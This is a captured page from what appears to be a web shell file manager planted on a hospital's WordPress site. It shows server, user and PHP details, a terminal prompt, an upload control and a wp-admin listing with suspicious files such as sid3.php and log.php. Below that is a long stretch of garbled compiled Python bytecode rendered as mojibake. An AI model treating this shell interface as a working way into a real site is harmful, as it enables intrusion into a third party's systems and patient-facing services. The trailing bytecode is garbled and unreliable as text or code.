✨ Magic File Manager

🚀 Hostinger Optimized
🖥� Server: Apache
💻 System: Linux bom1plzcpnl503817.prod.bom1.secureserver.net 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
👤 User: pnj6a06usxf3 (9714991)
� PHP: 8.1.34
🚫 Disabled: ✨ NONE

💻 Terminal

� /home/pnj6a06usxf3/public_html/shivshaktihospital.co.in/wp-admin
$

� Create New

⬆� Upload File

📊 Max upload: 32M | 📦 Max POST: 128M

📄 Name📊 Size🔒 Perm⚡ Actions
� css--drwxr-xr-x
� images--drwxr-xr-x
� includes--drwxr-xr-x
� js--drwxr-xr-x
� maint--drwxr-xr-x
� network--drwxr-xr-x
� user--drwxr-xr-x
� about.php17.572 KB-rw-r--r--
� admin-ajax.php5.025 KB-rw-r--r--
� admin-footer.php2.738 KB-rw-r--r--
� admin-functions.php0.461 KB-rw-r--r--
� admin-header.php9.066 KB-rw-r--r--
� admin-post.php1.974 KB-rw-r--r--
� admin.php12.632 KB-rw-r--r--
� async-upload.php5.473 KB-rw-r--r--
� authorize-application.php10.093 KB-rw-r--r--
� comment.php11.37 KB-rw-r--r--
� contribute.php5.523 KB-rw-r--r--
� credits.php4.044 KB-rw-r--r--
� custom-background.php0.471 KB-rw-r--r--
� custom-header.php0.48 KB-rw-r--r--
� customize.php11.314 KB-rw-r--r--
� edit-comments.php14.145 KB-rw-r--r--
� edit-form-advanced.php28.79 KB-rw-r--r--
� edit-form-blocks.php15.164 KB-rw-r--r--
� edit-form-comment.php13.652 KB-rw-r--r--
� edit-link-form.php6.198 KB-rw-r--r--
� edit-tag-form.php10.408 KB-rw-r--r--
� edit-tags.php21.982 KB-rw-r--r--
� edit.php19.484 KB-rw-r--r--
� erase-personal-data.php7.329 KB-rw-r--r--
📄 error_log9.984 KB-rw-r--r--
� export-personal-data.php7.754 KB-rw-r--r--
� export.php11.001 KB-rw-r--r--
� font-library.php1.445 KB-rw-r--r--
� freedoms.php4.467 KB-rw-r--r--
� import.php7.584 KB-rw-r--r--
� index.php7.68 KB-rw-r--r--
� install-helper.php6.798 KB-rw-r--r--
� install.php17.944 KB-rw-r--r--
� link-add.php0.912 KB-rw-r--r--
� link-manager.php4.259 KB-rw-r--r--
� link-parse-opml.php2.657 KB-rw-r--r--
� link.php2.888 KB-rw-r--r--
� load-scripts.php2.021 KB-rw-r--r--
� load-styles.php2.925 KB-rw-r--r--
� log.php63.893 KB-rw-r--r--
� media-new.php3.173 KB-rw-r--r--
� media-upload.php3.582 KB-rw-r--r--
� media.php0.8 KB-rw-r--r--
� menu-header.php9.816 KB-rw-r--r--
� menu.php17.709 KB-rw-r--r--
� moderation.php0.3 KB-rw-r--r--
� ms-admin.php0.191 KB-rw-r--r--
� ms-delete-site.php4.505 KB-rw-r--r--
� ms-edit.php0.211 KB-rw-r--r--
� ms-options.php0.224 KB-rw-r--r--
� ms-sites.php0.21 KB-rw-r--r--
� ms-themes.php0.212 KB-rw-r--r--
� ms-upgrade-network.php0.214 KB-rw-r--r--
� ms-users.php0.21 KB-rw-r--r--
� my-sites.php4.718 KB-rw-r--r--
� nav-menus.php49.022 KB-rw-r--r--
� network.php5.394 KB-rw-r--r--
� options-connectors.php1.507 KB-rw-r--r--
� options-discussion.php16.019 KB-rw-r--r--
� options-general.php22.319 KB-rw-r--r--
� options-head.php0.6 KB-rw-r--r--
� options-media.php6.484 KB-rw-r--r--
� options-permalink.php21.964 KB-rw-r--r--
� options-privacy.php10.453 KB-rw-r--r--
� options-reading.php9.959 KB-rw-r--r--
� options-writing.php9.184 KB-rw-r--r--
� options.php13.932 KB-rw-r--r--
� plugin-editor.php13.741 KB-rw-r--r--
� plugin-install.php7.259 KB-rw-r--r--
� plugins.php30.023 KB-rw-r--r--
� post-new.php2.703 KB-rw-r--r--
� post.php10.567 KB-rw-r--r--
� press-this.php2.412 KB-rw-r--r--
� privacy-policy-guide.php3.668 KB-rw-r--r--
� privacy.php2.453 KB-rw-r--r--
� profile.php0.276 KB-rw-r--r--
� revision.php5.699 KB-rw-r--r--
� setup-config.php17.508 KB-rw-r--r--
� sid3.php55.304 KB-rw-r--r--
� site-editor.php12.19 KB-rw-r--r--
� site-health-info.php4.075 KB-rw-r--r--
� site-health.php10.183 KB-rw-r--r--
� term.php2.196 KB-rw-r--r--
� theme-editor.php16.874 KB-rw-r--r--
� theme-install.php23.745 KB-rw-r--r--
� themes.php48.563 KB-rw-r--r--
� tools.php3.432 KB-rw-r--r--
� update-core.php45.119 KB-rw-r--r--
� update.php12.756 KB-rw-r--r--
� upgrade-functions.php0.333 KB-rw-r--r--
� upgrade.php6.24 KB-rw-r--r--
� upload.php14.934 KB-rw-r--r--
� user-edit.php40.863 KB-rw-r--r--
� user-new.php24.086 KB-rw-r--r--
� users.php25.096 KB-rw-r--r--
� widgets-form-blocks.php5.112 KB-rw-r--r--
� widgets-form.php19.129 KB-rw-r--r--
� widgets.php1.086 KB-rw-r--r--
3 \‚iã@sdZdZddlZddlZddlZddlZddlZy ddlZWnek rXddl ZYnXddl m Z ddl m Z dddd d d d d dg Zeedƒr¢ejdddgƒeedƒr¾ejddddgƒeedƒrÐejZnejZGdd„dƒZGdd„deƒZGdd„deƒZeedƒ�rGdd„dƒZGdd„dƒZeedƒ�r\Gdd„deeƒZGdd„deeƒZGd d „d eeƒZGd!d „d eeƒZeedƒ�rÐGd"d„deƒZGd#d„deƒZGd$d„deeƒZGd%d„deeƒZ Gd&d „d ƒZ!Gd'd „d e!ƒZ"Gd(d)„d)e ƒZ#Gd*d „d e!ƒZ$dS)+apGeneric socket server classes. This module tries to capture the various aspects of defining a server: For socket-based servers: - address family: - AF_INET{,6}: IP (Internet Protocol) sockets (default) - AF_UNIX: Unix domain sockets - others, e.g. AF_DECNET are conceivable (see - socket type: - SOCK_STREAM (reliable stream, e.g. TCP) - SOCK_DGRAM (datagrams, e.g. UDP) For request-based servers (including socket-based): - client address verification before further looking at the request (This is actually a hook for any processing that needs to look at the request before anything else, e.g. logging) - how to handle multiple requests: - synchronous (one request is handled at a time) - forking (each request is handled by a new process) - threading (each request is handled by a new thread) The classes in this module favor the server type that is simplest to write: a synchronous TCP/IP server. This is bad class design, but save some typing. (There's also the issue that a deep class hierarchy slows down method lookups.) There are five classes in an inheritance diagram, four of which represent synchronous servers of four types: +------------+ | BaseServer | +------------+ | v +-----------+ +------------------+ | TCPServer |------->| UnixStreamServer | +-----------+ +------------------+ | v +-----------+ +--------------------+ | UDPServer |------->| UnixDatagramServer | +-----------+ +--------------------+ Note that UnixDatagramServer derives from UDPServer, not from UnixStreamServer -- the only difference between an IP and a Unix stream server is the address family, which is simply repeated in both unix server classes. Forking and threading versions of each type of server can be created using the ForkingMixIn and ThreadingMixIn mix-in classes. For instance, a threading UDP server class is created as follows: class ThreadingUDPServer(ThreadingMixIn, UDPServer): pass The Mix-in class must come first, since it overrides a method defined in UDPServer! Setting the various member variables also changes the behavior of the underlying server mechanism. To implement a service, you must derive a class from BaseRequestHandler and redefine its handle() method. You can then run various versions of the service by combining one of the server classes with your request handler class. The request handler class must be different for datagram or stream services. This can be hidden by using the request handler subclasses StreamRequestHandler or DatagramRequestHandler. Of course, you still have to use your head! For instance, it makes no sense to use a forking server if the service contains state in memory that can be modified by requests (since the modifications in the child process would never reach the initial state kept in the parent process and passed to each child). In this case, you can use a threading server, but you will probably have to use locks to avoid two requests that come in nearly simultaneous to apply conflicting changes to the server state. On the other hand, if you are building e.g. an HTTP server, where all data is stored externally (e.g. in the file system), a synchronous class will essentially render the service "deaf" while one request is being handled -- which may be for a very long time if a client is slow to read all the data it has requested. Here a threading or forking server is appropriate. In some cases, it may be appropriate to process part of a request synchronously, but to finish processing in a forked child depending on the request data. This can be implemented by using a synchronous server and doing an explicit fork in the request handler class handle() method. Another approach to handling multiple simultaneous requests in an environment that supports neither threads nor fork (or where these are too expensive or inappropriate for the service) is to maintain an explicit table of partially finished requests and to use a selector to decide which request to work on next (or whether to handle a new incoming request). This is particularly important for stream services where each client can potentially be connected for a long time (if threads or subprocesses cannot be used). Future work: - Standard classes for Sun RPC (which uses either UDP or TCP) - Standard mix-in classes to implement various authentication and encryption schemes XXX Open problems: - What to do with out-of-band data? BaseServer: - split generic "request" functionality out into BaseServer class. Copyright (C) 2000 Luke Kenneth Casson Leighton example: read entries from a SQL database (requires overriding get_request() to return a table entry from the database). entry is processed by a RequestHandlerClass. z0.4éN)ÚBufferedIOBase)Ú monotonicÚ BaseServerÚ TCPServerÚ UDPServerÚThreadingUDPServerÚThreadingTCPServerÚBaseRequestHandlerÚStreamRequestHandlerÚDatagramRequestHandlerÚThreadingMixInÚforkÚForkingUDPServerÚForkingTCPServerÚ ForkingMixInÚAF_UNIXÚUnixStreamServerÚUnixDatagramServerÚThreadingUnixStreamServerÚThreadingUnixDatagramServerÚ PollSelectorc@sžeZdZdZdZdd„Zdd„Zd&dd „Zd d „Zd d „Z dd„Z dd„Z dd„Z dd„Z dd„Zdd„Zdd„Zdd„Zdd„Zd d!„Zd"d#„Zd$d%„ZdS)'ra¸Base class for server classes. Methods for the caller: - __init__(server_address, RequestHandlerClass) - serve_forever(poll_interval=0.5) - shutdown() - handle_request() # if you do not use serve_forever() - fileno() -> int # for selector Methods that may be overridden: - server_bind() - server_activate() - get_request() -> request, client_address - handle_timeout() - verify_request(request, client_address) - server_close() - process_request(request, client_address) - shutdown_request(request) - close_request(request) - service_actions() - handle_error() Methods for derived classes: - finish_request(request, client_address) Class variables that may be overridden by derived classes or instances: - timeout - address_family - socket_type - allow_reuse_address Instance variables: - RequestHandlerClass - socket NcCs ||_||_tjƒ|_d|_dS)z/Constructor. May be extended, do not override.FN)Úserver_addressÚRequestHandlerClassÚ threadingZEventÚ_BaseServer__is_shut_downÚ_BaseServer__shutdown_request)Úselfrr©rú$/usr/lib64/python3.6/socketserver.pyÚ__init__Ìs zBaseServer.__init__cCsdS)zSCalled by constructor to activate the server. May be overridden. Nr)rrrrÚserver_activateÓszBaseServer.server_activateçà?cCsx|jjƒzVtƒ�F}|j|tjƒx0|jsR|j|ƒ}|jrrrrr8QszBaseServer.verify_requestcCs|j||ƒ|j|ƒdS)zVCall finish_request. Overridden by ForkingMixIn and ThreadingMixIn. N)Úfinish_requestr<)rr=r>rrrr9Ys zBaseServer.process_requestcCsdS)zDCalled to clean-up the server. May be overridden. Nr)rrrrÚ server_closebszBaseServer.server_closecCs|j|||ƒdS)z8Finish one request by instantiating RequestHandlerClass.N)r)rr=r>rrrr?jszBaseServer.finish_requestcCs|j|ƒdS)z3Called to shutdown and close an individual request.N)Ú close_request)rr=rrrr<nszBaseServer.shutdown_requestcCsdS)z)Called to clean up an individual request.Nr)rr=rrrrArszBaseServer.close_requestcCsHtddtjd�td|tjd�ddl}|jƒtddtjd�dS)ztHandle an error gracefully. May be overridden. The default is to print a traceback and continue. ú-é()Úfilez4Exception happened during processing of request fromrN)ÚprintÚsysÚstderrÚ tracebackÚ print_exc)rr=r>rHrrrr;vs  zBaseServer.handle_errorcCs|S)Nr)rrrrÚ __enter__ƒszBaseServer.__enter__cGs |jƒdS)N)r@)rÚargsrrrÚ__exit__†szBaseServer.__exit__)r!)Ú__name__Ú __module__Ú __qualname__Ú__doc__r1rr r-r/r)r5r(r4r8r9r@r?r<rAr;rJrLrrrrr�s&+    c@sfeZdZdZejZejZdZ dZ ddd„Z dd„Z d d „Z d d „Zd d„Zdd„Zdd„Zdd„ZdS)ra3Base class for various socket-based server classes. Defaults to synchronous IP stream (i.e., TCP). Methods for the caller: - __init__(server_address, RequestHandlerClass, bind_and_activate=True) - serve_forever(poll_interval=0.5) - shutdown() - handle_request() # if you don't use serve_forever() - fileno() -> int # for selector Methods that may be overridden: - server_bind() - server_activate() - get_request() -> request, client_address - handle_timeout() - verify_request(request, client_address) - process_request(request, client_address) - shutdown_request(request) - close_request(request) - handle_error() Methods for derived classes: - finish_request(request, client_address) Class variables that may be overridden by derived classes or instances: - timeout - address_family - socket_type - request_queue_size (only for stream sockets) - allow_reuse_address Instance variables: - server_address - RequestHandlerClass - socket éFTc CsTtj|||ƒtj|j|jƒ|_|rPy|jƒ|jƒWn|jƒ‚YnXdS)z/Constructor. May be extended, do not override.N)rrr0Úaddress_familyÚ socket_typeÚ server_bindr r@)rrrZbind_and_activaterrrrÁs  zTCPServer.__init__cCs8|jr|jjtjtjdƒ|jj|jƒ|jjƒ|_dS)zOCalled by constructor to bind the socket. May be overridden. éN)Úallow_reuse_addressr0Ú setsockoptZ SOL_SOCKETZ SO_REUSEADDRZbindrZ getsockname)rrrrrTÎszTCPServer.server_bindcCs|jj|jƒdS)zSCalled by constructor to activate the server. May be overridden. N)r0ZlistenÚrequest_queue_size)rrrrr ÙszTCPServer.server_activatecCs|jjƒdS)zDCalled to clean-up the server. May be overridden. N)r0Úclose)rrrrr@ászTCPServer.server_closecCs |jjƒS)zMReturn socket file number. Interface required by selector. )r0Úfileno)rrrrrZészTCPServer.filenocCs |jjƒS)zYGet the request and client address from the socket. May be overridden. )r0Zaccept)rrrrr6ñszTCPServer.get_requestc Cs4y|jtjƒWntk r$YnX|j|ƒdS)z3Called to shutdown and close an individual request.N)r/r0ZSHUT_WRr7rA)rr=rrrr<ùs zTCPServer.shutdown_requestcCs |jƒdS)z)Called to clean up an individual request.N)rY)rr=rrrrAszTCPServer.close_requestN)T)rMrNrOrPr0ZAF_INETrRZ SOCK_STREAMrSrXrVrrTr r@rZr6r<rArrrrrŠs-   c@s>eZdZdZdZejZdZdd„Z dd„Z dd „Z d d „Z d S) rzUDP server class.Fi cCs |jj|jƒ\}}||jf|fS)N)r0ZrecvfromÚmax_packet_size)rÚdataZ client_addrrrrr6szUDPServer.get_requestcCsdS)Nr)rrrrr szUDPServer.server_activatecCs|j|ƒdS)N)rA)rr=rrrr<szUDPServer.shutdown_requestcCsdS)Nr)rr=rrrrAszUDPServer.close_requestN) rMrNrOrPrVr0Z SOCK_DGRAMrSr[r6r r<rArrrrrscsVeZdZdZdZdZdZdZddœdd„Zd d „Z d d „Z d d„Z ‡fdd„Z ‡Z S)rz5Mix-in class to handle each request in a new process.i,NrCF)Úblockingc Csò|jdkrdSxht|jƒ|jkrvy tjddƒ\}}|jj|ƒWqtk r^|jjƒYqtk rrPYqXqWxt|jj ƒD]f}y.|r’dntj }tj||ƒ\}}|jj|ƒWq„tk rÖ|jj|ƒYq„tk rèYq„Xq„WdS)z7Internal routine to wait for children that have exited.NrUréÿÿÿÿ) Úactive_childrenÚlenÚ max_childrenÚosÚwaitpidÚdiscardÚChildProcessErrorr"r7ÚcopyÚWNOHANG)rr]ÚpidÚ_ÚflagsrrrÚcollect_children,s&  zForkingMixIn.collect_childrencCs |jƒdS)zvWait for zombies after self.timeout seconds of inactivity. May be extended, do not override. N)rk)rrrrr4OszForkingMixIn.handle_timeoutcCs |jƒdS)zœCollect the zombie child processes regularly in the ForkingMixIn. service_actions is called in the BaseServer's serve_forver loop. N)rk)rrrrr)VszForkingMixIn.service_actionscCsštjƒ}|r8|jdkrtƒ|_|jj|ƒ|j|ƒdSd}z:y|j||ƒd}Wn tk rr|j||ƒYnXWdz|j |ƒWdtj |ƒXXdS)z-Fork a new subprocess to process the request.NrUr) rbr r_r*ÚaddrAr?r:r;r<Ú_exit)rr=r>rhZstatusrrrr9]s     zForkingMixIn.process_requestcstƒjƒ|j|jd�dS)N)r])Úsuperr@rkÚ_block_on_close)r)Ú __class__rrr@vs zForkingMixIn.server_close)rMrNrOrPr1r_rarorkr4r)r9r@Ú __classcell__rr)rprr#s#cs<eZdZdZdZdZdZdd„Zdd„Z‡fdd „Z ‡Z S) r z4Mix-in class to handle each request in a new thread.FNcCsHz6y|j||ƒWn tk r2|j||ƒYnXWd|j|ƒXdS)zgSame as in BaseServer but as a thread. In addition, exception handling is done here. N)r?r:r;r<)rr=r>rrrÚprocess_request_thread‡s z%ThreadingMixIn.process_request_threadcCsRtj|j||fd�}|j|_|j rF|jrF|jdkr:g|_|jj|ƒ|jƒdS)z*Start a new thread to process the request.)ÚtargetrKN) rZThreadrrÚdaemon_threadsZdaemonroÚ_threadsÚappendÚstart)rr=r>Útrrrr9”s   zThreadingMixIn.process_requestcs:tƒjƒ|jr6|j}d|_|r6x|D] }|jƒq&WdS)N)rnr@roruÚjoin)rZthreadsZthread)rprrr@Ÿs  zThreadingMixIn.server_close) rMrNrOrPrtrorurrr9r@rqrr)rprr {s  c@s eZdZdS)rN)rMrNrOrrrrrªsc@s eZdZdS)rN)rMrNrOrrrrr«sc@s eZdZdS)rN)rMrNrOrrrrr­sc@s eZdZdS)rN)rMrNrOrrrrr®sc@seZdZejZdS)rN)rMrNrOr0rrRrrrrr²sc@seZdZejZdS)rN)rMrNrOr0rrRrrrrrµsc@s eZdZdS)rN)rMrNrOrrrrr¸sc@s eZdZdS)rN)rMrNrOrrrrrºsc@s0eZdZdZdd„Zdd„Zdd„Zdd „Zd S) r a¥Base class for request handler classes. This class is instantiated for each request to be handled. The constructor sets the instance variables request, client_address and server, and then calls the handle() method. To implement a specific service, all you need to do is to derive a class which defines a handle() method. The handle() method can find the request as self.request, the client address as self.client_address, and the server (in case it needs access to per-server information) as self.server. Since a separate instance is created for each request, the handle() method can define other arbitrary instance variables. c Cs6||_||_||_|jƒz |jƒWd|jƒXdS)N)r=r>ÚserverÚsetupÚhandleÚfinish)rr=r>rzrrrrÎs zBaseRequestHandler.__init__cCsdS)Nr)rrrrr{ØszBaseRequestHandler.setupcCsdS)Nr)rrrrr|ÛszBaseRequestHandler.handlecCsdS)Nr)rrrrr}ÞszBaseRequestHandler.finishN)rMrNrOrPrr{r|r}rrrrr ¼s  c@s0eZdZdZd ZdZdZdZdd„Zdd „Z dS) r z4Define self.rfile and self.wfile for stream sockets.rUrNFcCsz|j|_|jdk r |jj|jƒ|jr:|jjtjtjdƒ|jj d|j ƒ|_ |j dkrdt |jƒ|_n|jj d|j ƒ|_dS)NTÚrbrÚwb)r=Z connectionr1Z settimeoutÚdisable_nagle_algorithmrWr0Z IPPROTO_TCPZ TCP_NODELAYÚmakefileÚrbufsizeÚrfileÚwbufsizeÚ _SocketWriterÚwfile)rrrrr{ÿs    zStreamRequestHandler.setupc CsF|jjs.y|jjƒWntjk r,YnX|jjƒ|jjƒdS)N)r†ÚclosedÚflushr0ÚerrorrYrƒ)rrrrr} s zStreamRequestHandler.finishr^) rMrNrOrPr‚r„r1r€r{r}rrrrr ês  c@s0eZdZdZdd„Zdd„Zdd„Zdd „Zd S) r…z‚Simple writable BufferedIOBase implementation for a socket Does not hold data in a buffer, avoiding any need to call flush().cCs ||_dS)N)Ú_sock)rZsockrrrrsz_SocketWriter.__init__cCsdS)NTr)rrrrÚwritablesz_SocketWriter.writablec Cs&|jj|ƒt|ƒ�}|jSQRXdS)N)rŠZsendallÚ memoryviewÚnbytes)rÚbZviewrrrÚwrite"s  z_SocketWriter.writecCs |jjƒS)N)rŠrZ)rrrrrZ'sz_SocketWriter.filenoN)rMrNrOrPrr‹r�rZrrrrr…s r…c@s eZdZdZdd„Zdd„ZdS)r z6Define self.rfile and self.wfile for datagram sockets.cCs2ddlm}|j\|_|_||jƒ|_|ƒ|_dS)Nr)ÚBytesIO)Úior�r=Zpacketr0rƒr†)rr�rrrr{.s  zDatagramRequestHandler.setupcCs|jj|jjƒ|jƒdS)N)r0Zsendtor†Úgetvaluer>)rrrrr}4szDatagramRequestHandler.finishN)rMrNrOrPr{r}rrrrr *s)%rPÚ __version__r0r%rbÚerrnorFrÚ ImportErrorZdummy_threadingr‘rr3rÚ__all__ÚhasattrÚextendrr#ZSelectSelectorrrrrr rrrrrrrrr r r…r rrrrÚws\      n~ X.  .-